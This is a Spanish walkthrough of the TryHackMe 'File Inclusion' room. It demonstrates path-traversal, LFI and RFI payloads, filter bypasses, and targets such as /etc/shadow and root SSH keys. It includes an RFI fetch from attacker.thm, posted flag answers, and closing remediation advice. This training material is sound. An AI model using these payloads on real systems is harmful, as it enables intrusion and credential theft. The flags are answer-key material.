Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Web Fundamentals, en este capítulo veremos: TryHackMe File Inclusion
Inclusión de archivos
¿Qué es la inclusión de archivos?
Esta sala tiene como objetivo brindarle los conocimientos esenciales para explotar vulnerabilidades de inclusión de archivos, incluyendo la Inclusión Local de Archivos ( LFI ), la Inclusión Remota de Archivos ( RFI ) y el cruce de directorios. Además, analizaremos el riesgo de estas vulnerabilidades si se detectan y las medidas de remediación necesarias. Presentaremos ejemplos prácticos de cada vulnerabilidad, así como desafíos prácticos.
En algunos casos, las aplicaciones web se desarrollan para solicitar acceso a archivos en un sistema determinado, incluyendo imágenes, texto estático, etc., mediante parámetros. Los parámetros son cadenas de parámetros de consulta adjuntas a la URL que pueden usarse para recuperar datos o realizar acciones según la entrada del usuario. El siguiente diagrama desglosa las partes esenciales de una URL.
Por ejemplo, se utilizan parámetros en las búsquedas de Google, donde las solicitudes GET pasan la información del usuario al motor de búsqueda. https://www.google.com/search?q=TryHackMe . Si no está familiarizado con el tema, puede consultar el módulo «Cómo funciona la Web» para comprender el concepto.
Analicemos un escenario en el que un usuario solicita acceder a archivos desde un servidor web. Primero, el usuario envía una solicitud HTTP al servidor web que incluye un archivo para mostrar. Por ejemplo, si un usuario desea acceder y mostrar su CV dentro de la aplicación web, la solicitud podría ser la siguiente: http ://webapp.thm/get.php ? file=userCV.pdf , donde el archivo es el parámetro y userCV.pdf es el archivo al que se debe acceder.
¿Por qué ocurren vulnerabilidades de inclusión de archivos?
Las vulnerabilidades de inclusión de archivos se encuentran y explotan comúnmente en diversos lenguajes de programación para aplicaciones web, como PHP , que están mal escritas e implementadas. El principal problema de estas vulnerabilidades reside en la validación de entrada, donde las entradas del usuario no se depuran ni validan, y el usuario las controla. Cuando la entrada no se valida, el usuario puede pasar cualquier entrada a la función, lo que provoca la vulnerabilidad.
¿Cuál es el riesgo de inclusión de archivos?
Por defecto, un atacante puede aprovechar las vulnerabilidades de inclusión de archivos para filtrar datos, como código, credenciales u otros archivos importantes relacionados con la aplicación web o el sistema operativo. Además, si el atacante puede escribir archivos en el servidor por cualquier otro medio, la inclusión de archivos podría utilizarse simultáneamente para obtener la ejecución remota de comandos ( RCE ).
Recorrido de ruta
También conocida como «recorrido de directorio» , una vulnerabilidad de seguridad web permite a un atacante leer recursos del sistema operativo, como archivos locales en el servidor que ejecuta una aplicación. El atacante aprovecha esta vulnerabilidad manipulando y abusando de la URL de la aplicación web para localizar y acceder a archivos o directorios almacenados fuera del directorio raíz de la aplicación.
Las vulnerabilidades de recorrido de ruta ocurren cuando la entrada del usuario se pasa a una función como file_get_contents en PHP . Es importante tener en cuenta que la función no es la principal causa de la vulnerabilidad. A menudo, una validación o filtrado de entrada deficiente es la causa de la vulnerabilidad. En PHP , se puede usar file_get_contents para leer el contenido de un archivo. Puede encontrar más información sobre la función aquí .
El siguiente gráfico muestra cómo una aplicación web almacena archivos en /var/www/app . La ruta correcta sería que el usuario solicitara el contenido de userCV.pdf desde una ruta definida: /var/www/app/CVs .
Podemos probar el parámetro URL añadiendo cargas útiles para ver el comportamiento de la aplicación web. Los ataques de recorrido de ruta, también conocidos como ataque punto-punto-barra , aprovechan el desplazamiento del directorio un nivel superior mediante los puntos dobles ../ . Si el atacante encuentra el punto de entrada, que en este caso es get.php ? file= , puede enviar algo como: http ://webapp.thm /get.php ?file=.. / ../../ .. /etc/passwd
Supongamos que no hay validación de entrada y, en lugar de acceder a los archivos PDF en /var/www/app/CVs , la aplicación web recupera archivos de otros directorios, en este caso /etc/passwd . Cada entrada .. se mueve un directorio hasta llegar al directorio raíz / . Luego, cambia el directorio a /etc y, desde allí, lee el archivo passwd .
Como resultado, la aplicación web envía el contenido del archivo al usuario.
De igual forma, si la aplicación web se ejecuta en un servidor Windows, el atacante debe proporcionar las rutas de Windows. Por ejemplo, si el atacante quiere leer el archivo boot.ini ubicado en c:\boot.ini , puede intentar lo siguiente, dependiendo de la versión del sistema operativo de destino :
http://webapp.thm/get.php?file=../../../../boot.inio
http://webapp.thm/get.php?file=../../../../windows/win.ini
Aquí se aplica el mismo concepto que con los sistemas operativos Linux, donde subimos por los directorios hasta llegar al directorio raíz, que normalmente es .
A veces, los desarrolladores añaden filtros para limitar el acceso a ciertos archivos o directorios. A continuación, se muestran algunos archivos comunes del sistema operativo que puedes usar durante las pruebas.
| Ubicación | Descripción |
| /etc/issue | Contiene un mensaje o identificación del sistema que se imprimirá antes de la solicitud de inicio de sesión. |
| /etc/profile | Controla variables predeterminadas de todo el sistema, como variables de exportación, máscara de creación de archivos (umask), tipos de terminal y mensajes de correo para indicar cuándo ha llegado correo nuevo. |
| /proc/version | especifica la versión del kernel de Linux |
| etc/passwd | Tiene todos los usuarios registrados que tienen acceso a un sistema |
| /etc/shadow | Contiene información sobre las contraseñas de los usuarios del sistema |
| /root/.bash_history | Contiene los comandos de historial del root usuario. |
| /var/log/dmessage | Contiene mensajes globales del sistema, incluidos los mensajes que se registran durante el inicio del sistema. |
| /var/mail/root | todos los correos electrónicos del rootusuario |
| /root/.ssh/id_rsa | Claves SSH privadas para un usuario root o cualquier usuario válido conocido en el servidor |
| /var/log/apache2/access.log | Las solicitudes accedidas para Apacheel servidor web |
| C:\boot.ini | Contiene las opciones de arranque para computadoras con firmware BIOS |
Responda las preguntas a continuación
¿Qué función causa vulnerabilidades de recorrido de ruta en PHP?
file_get_contents
Inclusión de archivos locales – LFI
Inclusión de archivos locales ( LFI )
Los ataques LFI contra aplicaciones web suelen deberse a la falta de conocimientos de seguridad de los desarrolladores. Con PHP , el uso de funciones como include , require , include_once y require_once suele contribuir a la vulnerabilidad de las aplicaciones web. En esta sala, nos centraremos en PHP , pero cabe destacar que las vulnerabilidades LFI también se producen al usar otros lenguajes como ASP, JSP o incluso en aplicaciones Node.js. Los exploits LFI siguen los mismos conceptos que el recorrido de rutas.
En esta sección, lo guiaremos a través de varios escenarios de LFI y cómo explotarlos.
#1. Supongamos que la aplicación web ofrece dos idiomas y el usuario puede elegir entre EN y AR.
El código PHP anterior utiliza una solicitud GET mediante el parámetro URL lang para incluir el archivo de la página. La llamada se puede realizar enviando la siguiente solicitud HTTP: http://webapp.thm/index.php?lang=EN.phppara cargar la página en inglés o http://webapp.thm/index.php?lang=AR.phppara cargar la página en árabe, donde los archivos EN.php y AR.php se encuentran en el mismo directorio .
En teoría, podemos acceder y mostrar cualquier archivo legible en el servidor desde el código anterior si no hay validación de entrada. Supongamos que queremos leer el /etc/passwdarchivo, que contiene información confidencial sobre los usuarios del sistema operativo Linux. Podemos intentar lo siguiente:http://webapp.thm/get.php?file=/etc/passwd
En este caso, funciona porque no hay un directorio especificado en la función de inclusión y no hay validación de entrada.
Ahora aplique lo que comentamos e intente leer el archivo /etc/passwd. Además, responda la pregunta n.° 1 a continuación.
#2. A continuación, en el siguiente código, el desarrollador decidió especificar el directorio dentro de la función.
En el código anterior, el desarrollador decidió usar la función include para llamar a las páginas PHP en el directorio de idiomas solo a través de parámetros lang .
Si no hay validación de entrada, el atacante puede manipular la URL reemplazando la entrada de idioma con otros archivos sensibles al sistema operativo, como /etc/passwd .
Nuevamente, la carga útil es similar a la ruta de acceso , pero la función include permite incluir cualquier archivo llamado en la página actual. El exploit se describe a continuación:
http ://webapp.thm/index.php ? lang=../../../../etc / passwd
Ahora aplique lo que discutimos, intente leer archivos dentro del servidor, averigüe el directorio especificado en la función de inclusión y responda la pregunta n.° 2 a continuación.
Ahora aplique lo que discutimos, intente leer archivos dentro del servidor, averigüe el directorio especificado en la función de inclusión y responda la pregunta n.° 2 a continuación.
Responda las preguntas a continuación
Pruebe el laboratorio n.º 1 para leer el archivo /etc/passwd . ¿Cuál sería la URI de la solicitud?
/lab1.php?file=/etc/passwd
En el laboratorio n.° 2, ¿cuál es el directorio especificado en la función de inclusión?
Includes
Inclusión de archivos locales – LFI (continuación)
En esta tarea, profundizamos un poco más en LFI . Analizamos un par de técnicas para omitir el filtro dentro de la función de inclusión.
#3. En los dos primeros casos, verificamos el código de la aplicación web y supimos cómo explotarlo. Sin embargo, en este caso, estamos realizando pruebas de caja negra, en las que no disponemos del código fuente. En este caso, los errores son importantes para comprender cómo se transfieren y procesan los datos en la aplicación web.
En este escenario, tenemos el siguiente punto de entrada: http://webapp.thm/index.php?lang=EN. Si ingresamos una entrada no válida, como THM , obtenemos el siguiente error.
Warning:include(languages/THM.php):failedto open stream:No such file ordirectory in /var/www/html/THM-4/index.php on line 12
El mensaje de error revela información importante. Al introducir THM como entrada, un mensaje de error muestra el aspecto de la función de inclusión include(languages/THM.php);:
Si observa el directorio con atención, podemos ver que la función incluye archivos en el directorio languages y añade .php al final de la entrada. Por lo tanto, la entrada válida será algo como esto: index.php?lang=EN, donde el archivo EN se encuentra dentro del directorio languages indicado y se llama EN.php.
Además, el mensaje de error reveló otra información importante sobre la ruta completa del directorio de la aplicación web, que es /var/www/html/THM-4/.
Para aprovechar esto, necesitamos usar el ../truco descrito en la sección de navegación de directorios para acceder a la carpeta actual. Intentemos lo siguiente:
http://webapp.thm/index.php?lang=../../../../etc/passwd
Tenga en cuenta que usamos 4 ../porque sabemos que la ruta tiene cuatro niveles /var/www/html/THM-4. Sin embargo, aún recibimos el siguiente error:
Warning:include(languages/../../../../../etc/passwd.php):failedto open stream:No such file ordirectory in /var/www/html/THM-4/index.php on line 12
Parece que podríamos salir del directorio PHP , pero aun así, la función de inclusión lee la entrada con .phpal final. Esto nos indica que el desarrollador especifica el tipo de archivo que se pasa a la función de inclusión. Para evitar este escenario, podemos usar el byte nulo, que es %00.
El uso de bytes nulos es una técnica de inyección que utiliza una representación codificada en URL, como %00 o 0x00 en hexadecimal, con datos proporcionados por el usuario para terminar cadenas. Podría considerarse como un intento de engañar a la aplicación web para que ignore lo que viene después del byte nulo.
Al agregar el byte nulo al final de la carga útil, le indicamos a la función de inclusión que ignore cualquier cosa después del byte nulo que pueda verse así:
include(«languages/../../../../../etc/passwd%00″).».php»);lo cual es equivalente ainclude(«languages/../../../../../etc/passwd»);
Nota: el truco %00 está corregido y no funciona con PHP 5.3.4 y superior.
Ahora aplique lo que mostramos en el Laboratorio #3 e intente leer los archivos /etc/passwd, responda la pregunta #1 a continuación.
#4. En esta sección, el desarrollador decidió filtrar palabras clave para evitar revelar información confidencial. El archivo /etc/passwd se está filtrando. Hay dos métodos posibles para evitar el filtro. Primero, usando el truco NullByte %00 o el directorio actual al final de la palabra clave filtrada. /..El exploit será similar a http://webapp.thm/index.php?lang=/etc/passwd/. También podríamos usar http://webapp.thm/index.php?lang=/etc/passwd%00.
Para aclarar, si probamos este concepto en el sistema de archivos usando cd .., retrocedemos un paso; sin embargo, si lo hacemos cd ., permanece en el directorio actual. De igual forma, si probamos /etc/passwd/.., el resultado será /etc/, ya que hemos movido uno a la raíz. Ahora bien, si probamos /etc/passwd/., el resultado será , /etc/passwdya que punto hace referencia al directorio actual.
Ahora aplique esta técnica en el Laboratorio #4 y descubra cómo leer /etc/passwd.
#5. A continuación, en los siguientes escenarios, el desarrollador empieza a usar la validación de entrada filtrando algunas palabras clave. ¡Hagamos una prueba y revisemos el mensaje de error!
http://webapp.thm/index.php?lang=../../../../etc/passwd
¡Recibimos el siguiente error!
Warning:include(languages/etc/passwd):failedto open stream:No such file ordirectory in /var/www/html/THM-5/index.php on line 15
Si revisamos el mensaje de advertencia en la include(languages/etc/passwd)sección, sabemos que la aplicación web reemplaza la ../cadena vacía. Existen un par de técnicas para evitarlo.
Primero, podemos enviar la siguiente carga útil para evitarlo: ….//….//….//….//….//etc/passwd.
¿Por qué funcionó esto?
Esto funciona porque el filtro PHP solo coincide y reemplaza la primera cadena de subconjunto ../que encuentra y no realiza otra pasada, dejando lo que se muestra a continuación.
¡Pruebe el laboratorio n.° 5 e intente leer /etc/passwd y omitir el filtro!
#6. Finalmente, analizaremos el caso en el que el desarrollador fuerza la inclusión a leer desde un directorio definido. Por ejemplo, si la aplicación web solicita proporcionar una entrada que debe incluir un directorio como: http://webapp.thm/index.php?lang=languages/EN.phpentonces, para aprovechar esto, necesitamos incluir el directorio en la carga útil de la siguiente manera: ?lang=languages/../../../../../etc/passwd.
Pruebe esto en el laboratorio n.° 6 y determine cuál es el directorio que debe estar presente en el campo de entrada.
Responda las preguntas a continuación
Prueba el laboratorio n.º 3 para leer /etc/passwd . ¿Cómo se ve la solicitud?
/lab3.php?file=../../../../etc/passwd Deben poner una / antes de Passwd para completar el espacio en blanco
¿Qué función está provocando el recorrido del directorio en el Laboratorio n.° 4?
file_get_contents
Pruebe el laboratorio n.° 6 y verifique cuál es el directorio que debe estar en el campo de entrada.
THM-profile
Pruebe el laboratorio n.º 6 y lea el archivo /etc/os-release . ¿Cuál es el valor de VERSION_ID ?
12.04
Inclusión remota de archivos – RFI
La Inclusión Remota de Archivos ( RFI ) es una técnica para incluir archivos remotos en una aplicación vulnerable. Al igual que la LFI , la RFI se produce al sanear incorrectamente la entrada del usuario, lo que permite a un atacante inyectar una URL externa en la función de inclusión . Un requisito para la RFI es que la opción allow_url_fopen esté activada .
El riesgo de RFI es mayor que el de LFI, ya que las vulnerabilidades de RFI permiten a un atacante obtener la Ejecución Remota de Comandos ( RCE ) en el servidor. Otras consecuencias de un ataque de RFI exitoso incluyen:
- Divulgación de información confidencial
- Secuencias de comandos entre sitios ( XSS )
- Denegación de servicio ( DoS )
Un servidor externo debe comunicarse con el servidor de aplicaciones para que un ataque RFI tenga éxito . El atacante aloja archivos maliciosos en su servidor. Posteriormente, el archivo malicioso se inyecta en la función de inclusión mediante solicitudes HTTP y su contenido se ejecuta en el servidor de aplicaciones vulnerable.
Pasos de la RFI
La figura anterior muestra un ejemplo de los pasos para un ataque RFI exitoso . Supongamos que el atacante aloja un archivo PHP en su propio servidor http ://attacker.thm/cmd.txt donde cmd.txt contiene el mensaje » Hola THM » .
<?PHPecho»Hello THM»;?>
Primero, el atacante inyecta la URL maliciosa, que apunta a su servidor, como http ://webapp.thm/index.php ?lang= http ://attacker.thm/cmd.txt . Si no hay validación de entrada, la URL maliciosa pasa a la función de inclusión. A continuación, el servidor de la aplicación web envía una solicitud GET al servidor malicioso para obtener el archivo. Como resultado, la aplicación web incluye el archivo remoto en la función de inclusión para ejecutar el archivo PHP dentro de la página y enviar el contenido de la ejecución al atacante. En nuestro caso, la página actual debe mostrar el mensaje «Hello THM» en algún lugar.
Visite la siguiente URL de laboratorio: http://10.64.141.35/playground.php para probar un ataque RFI .
Desafío
¡Excelente trabajo! ¡Ahora aplica las técnicas que aprendiste para capturar las banderas! Familiarizarte con los fundamentos de la Web HTTP podría ayudarte a completar estos desafíos.
Asegúrese de que la máquina virtual conectada esté en funcionamiento y luego visite : http://10.65.140.187/challenges/index.php
Pasos para la prueba de LFI
- ¡Encuentre un punto de entrada que podría ser a través de valores de encabezado GET , POST , COOKIE o HTTP !
- Introduzca una entrada válida para ver cómo se comporta el servidor web.
- Introduzca entradas no válidas, incluidos caracteres especiales y nombres de archivos comunes.
- No confíes siempre en que lo que proporcionas en los formularios de entrada sea lo que pretendías. Usa la barra de direcciones de un navegador o una herramienta como Burpsuite.
- Busque errores al ingresar datos no válidos para revelar la ruta actual de la aplicación web; si no hay errores, entonces prueba y error podría ser su mejor opción.
- ¡Entienda la validación de entrada y si hay filtros!
- Intente inyectar una entrada válida para leer archivos confidenciales
Responda las preguntas a continuación
Capturar Flag1 en /etc/flag1
F1x3d-iNpu7-f0rrn
Capturar Flag2 en /etc/flag2
c00k13_i5_yummy1
Capturar Flag3 en /etc/flag3
p0st_1s_w0rk1in9
Obtenga RCE en el laboratorio #Playground /playground.php con RFI para ejecutar el comando hostname . ¿Cuál es el resultado?
lfi-vm-thm-f8c5b1a78692
Remediación
Como desarrollador, es importante conocer las vulnerabilidades de las aplicaciones web, cómo encontrarlas y los métodos de prevención. Para prevenir las vulnerabilidades de inclusión de archivos, algunas sugerencias comunes incluyen:
- Mantenga el sistema y los servicios, incluidos los marcos de aplicaciones web, actualizados con la última versión.
- Desactive los errores de PHP para evitar filtrar la ruta de la aplicación y otra información potencialmente reveladora.
- Un firewall de aplicaciones web (WAF) es una buena opción para ayudar a mitigar los ataques a las aplicaciones web.
- Deshabilite algunas características de PHP que causan vulnerabilidades de inclusión de archivos si su aplicación web no las necesita, como allow_url_fopen on y allow_url_include .
- Analice cuidadosamente la aplicación web y permita sólo los protocolos y envoltorios PHP que sean necesarios.
- Nunca confíe en la entrada del usuario y asegúrese de implementar una validación de entrada adecuada contra la inclusión de archivos.
- Implementar listas blancas para nombres de archivos y ubicaciones, así como listas negras.
Ahora que hemos visto cómo se explotan las vulnerabilidades de inclusión de archivos, veamos la otra cara de la moneda. Si desarrollas o mantienes una aplicación web, ¿qué puedes hacer para prevenir estos problemas?
No existe una solución única que sirva para todos los casos. Una defensa sólida combina prácticas de codificación seguras con la configuración a nivel de servidor. A continuación, se detallan las medidas clave que debe considerar.
Validar y desinfectar la entrada del usuario.
Este es el paso más importante. Nunca pase la entrada de usuario sin procesar a funciones de manejo de archivos como include(), require(), o file_get_contents(). Si su aplicación necesita cargar archivos según la entrada del usuario, use una lista de permitidos (a veces llamada lista blanca) de nombres de archivo permitidos y rechace todo lo que no coincida. Por ejemplo, si un usuario solo debe poder seleccionar un archivo de idioma, asigne la entrada a un conjunto fijo de valores conocidos en lugar de usarla directamente en una ruta de archivo:
De esta forma, el usuario nunca controla la ruta real del archivo.
Deshabilitar lo innecesarioPHPCaracterísticas
Si su aplicación no necesita incluir archivos remotos, desactive allow_url_fopenesta opción allow_url_includeen su php.iniconfiguración. Esto desactiva por completo la inyección de radiofrecuencia (RFI) como vector de ataque.
allow_url_fopen = Off
allow_url_include = Off
De igual modo, restrinja los protocolos y los envoltorios de PHP que su aplicación puede usar. Si no necesita php://, data://, o expect://, desactívelos.
Desactivar mensajes de error detallados en producción
Como vimos en las tareas LFI, los mensajes de error pueden revelar la ruta completa del archivo de la aplicación, los nombres de las funciones que se utilizan y la estructura del sistema de archivos. En un entorno de producción, configure esto display_errorsy registre los errores en un archivo en su lugar:Offphp.ini
display_errors = Off
log_errors = On
Esto priva a los atacantes de la información que necesitan para perfeccionar sus cargas útiles.
Mantén el software actualizado
Asegúrese de que su sistema operativo, servidor web, versión de PHP y cualquier framework o biblioteca estén actualizados. Muchas técnicas de inclusión de archivos (como la omisión del byte nulo) se han corregido en versiones más recientes de PHP. El uso de software obsoleto lo expone a vulnerabilidades que cuentan con exploits públicos conocidos.
Implementar un firewall de aplicaciones web (WAF)
Un WAF puede detectar y bloquear cargas útiles comunes de inclusión de archivos, como ../secuencias, bytes nulos y URL en parámetros. No reemplaza el código seguro, pero añade una útil capa de defensa, especialmente contra herramientas de escaneo automatizadas.
Resumen
La siguiente tabla reúne todas estas medidas:
| Medida | Lo que impide |
| Validación de entrada con una lista de permitidos | Bloquea rutas de archivo y secuencias de recorrido arbitrarias para que no accedan a las funciones de gestión de archivos. |
| Desactivar allow_url_fopen/allow_url_include | Elimina por completo las solicitudes de información de radiofrecuencia (RFI) al impedir include()la obtención de URL remotas. |
| Deshabilitar mensajes de error detallados | Impide que los atacantes conozcan la estructura de directorios de la aplicación y las llamadas a funciones internas. |
| Mantén el software actualizado. | Elimina vulnerabilidades conocidas como el bypass de byte nulo (parcheado enPHP5.3.4). |
| Aplicación webCortafuegos | Proporciona una capa de detección adicional contra cargas útiles comunes de recorrido e inclusión. |
Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!